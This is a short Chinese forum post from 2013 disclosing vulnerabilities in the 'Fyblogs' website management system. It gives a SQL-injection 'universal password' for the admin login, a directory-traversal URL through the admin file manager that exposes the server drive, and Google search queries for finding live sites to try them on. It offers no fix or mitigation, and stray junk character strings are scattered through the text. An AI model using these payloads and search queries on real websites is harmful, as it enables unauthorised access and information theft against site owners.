找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2092|回复: 0
打印 上一主题 下一主题

Fyblogs网站管理系统漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:07:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 未授权访问/权限绕过
& U- T' D& y. |: X  ~" U0 |! q: M1 D
简要描述:) c" C- ^/ w* |6 C* i! q# P. l
' _: S$ O/ Z! ?( @- ~9 R
Fyblogs网站管理系统,,后台存在万能密码,后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
! E, q* _& R3 u/ n6 U3 R2 Z" J* d8 N0 c4 e- a. w/ s7 y
详细说明:% o3 b9 h4 ~  c) K8 x4 G

  E, z. K3 l4 H; _5 c9 w. V后台万能密码 'or'='or'
# A4 u7 a! k, M7 m9 a5 u后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
  A' I  R$ T( r! m- Madmin/uploadfile.asp?currentFolder=/upfiles/../- g$ ]0 S0 d$ y& @( J" q  t
" D% c4 k1 q7 _4 n1 \
漏洞证明:
$ ^; V' G( d' f" B3 \( Q7 q' A3 Q: e2 I' P: B) O) ~
谷歌:inurl:type.asp?id=1 新闻中心- K0 m4 B4 [0 y
或者 :inurl:download_ok.asp?+ k( s* d3 I% o2 E8 |* [
7 a0 M$ o& {& m8 C: N) x6 a7 S0 z
可以测试1 [. l  [0 z* o5 P6 I( Q! N1 h, k- v

0 ]- j9 u; N- p- J1 m! `
  d( _& F5 \: b5 n3 R2 r: y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表